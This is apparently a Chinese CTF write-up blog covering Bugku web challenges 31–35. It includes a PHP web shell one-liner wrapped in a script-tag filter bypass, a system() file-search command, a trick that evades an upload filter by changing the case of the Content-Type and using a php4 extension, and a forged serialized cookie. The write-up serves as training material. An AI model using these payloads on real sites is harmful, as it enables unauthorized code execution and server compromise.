web34
提示说是文件包含漏洞,果然是,遍历了一次目录,没有什么收获,用御剑扫了一下,发现有一个文件上传的后台,上传一句话木马,发现被过滤了<?php ?>
想想有没有替代方式,突然想起来之前好像有个帖子说可以不用
<?php
1
| <scrpit language=php>xxxxxxxx</script>
|
构造一句话木马:
1
| <script language="php">@eval($_POST['cmd'])</script>
|
但是蚁剑连接一直报错
转换方法:使用system指令直接查找
1
| <script language=php>system("find / -name flag*");</script>
|
然后file/flag 就可以获得flag
web32
这是文件上传题,过滤了php文件包括其他文件
这里复习一下几个绕过吧:
00截断:不行,最终的文件名是不可控的,它会自动加上.jpg
使用其他后缀进行绕过,例如php4,并修改Content-Type,也就是修改MIME,但是还是不行,查了一下说是上面也有一处Content-Type: multipart,后面multipart有的字母改大写,但是不是很理解为什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <html> <body> <?php $flag = "flag{test}" ?> <form action="index.php" method="post" enctype="multipart/form-data"> My name is margin,give me a image file not a php<br> <br> <input type="file" name="file" id="file" /> <input type="submit" name="submit" value="Submit" /> </form> <?php function global_filter(){ $type = $_SERVER["CONTENT_TYPE"]; if (strpos($type,"multipart/form-data") !== False){ $file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1); $file_ext = strtolower($file_ext); if (stripos($file_ext,"php") !== False){ die("Invalid File<br />"); } } } ?>
<?php
global_filter(); if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){ if ($_FILES["file"]["error"] == 0){ $file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1); $file_ext = strtolower($file_ext); $allowexts = array('jpg','gif','jpeg','bmp','php4'); if(!in_array($file_ext,$allowexts)){ die("give me a image file not a php"); } $_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext;
if (file_exists("upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " already exists. <br />"; } else{ if (!file_exists('./upload/')){ mkdir ("./upload/"); system("chmod 777 /var/www/html/upload"); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]); echo "Upload Success<br>"; $filepath = "upload/" . $_FILES["file"]["name"]; echo "Stored in: " ."<a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />"; } } } else{ if($_FILES["file"]["size"] > 0){ echo "You was catched! :) <br />"; } } ?> </body> </html>
|
收获:看了源码,原来,这题他就是故意要在那边弄一个判断,strpos区分大小写,所以multipart/form-data更改大小写就可以绕过了,你没改有的大小写,你就无法上传成功,感觉蛮无语的,就是让我们猜嘛,猜对就对了,算是收获了:不要把思维仅仅局限在过往的任何一个知识点上,任何地方可能都存在过滤,然后这题还是白名单,合着就是让我们猜php4==
web33
写解密算法
web31
扫描后台,得到一个robots.txt,打开后
得到
然后打开那个php 说我不是管理员,然后下面说要get x,我就让x=admin试试,就可以了。。。
跟学长小小吐槽了一下其中的莫名其妙后,发现果然还是自己太年轻,其实其中逻辑性推理性还挺强的,这题
首先他说你不是管理员,然后下面说get的x==password,这个时候其实我们会想,什么x会等于password啊,题目说我们不是管理员,就是在暗示我们password可能=admin,这其实考察的也是弱密码,所以也没什么地方值得无语的。
web35
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php error_reporting(0); $KEY='ctf.bugku.com'; include_once("flag.php"); $cookie = $_COOKIE['BUGKU']; if(isset($_GET['25112'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?>
|
在小角落找到一个 try ?25112,得到以上代码,让我们一起康康:
他说存在flag.php,但是打开什么也没有再往下看,他说get一个值,就是25112,
然后再将cookie反序列化===key,那么我们这里就将ctf.bugku.com序列化试试
得到s:13:"ctf.bugku.com";
然后回到开始页面,burpsuit抓包,让cookie那一栏的值为 BUGKU=s:13:”ctf.bugku.com” 即可
要成为一个好的ctfer 眼神也是要好啊,不然这个 try ?25112真滴没找到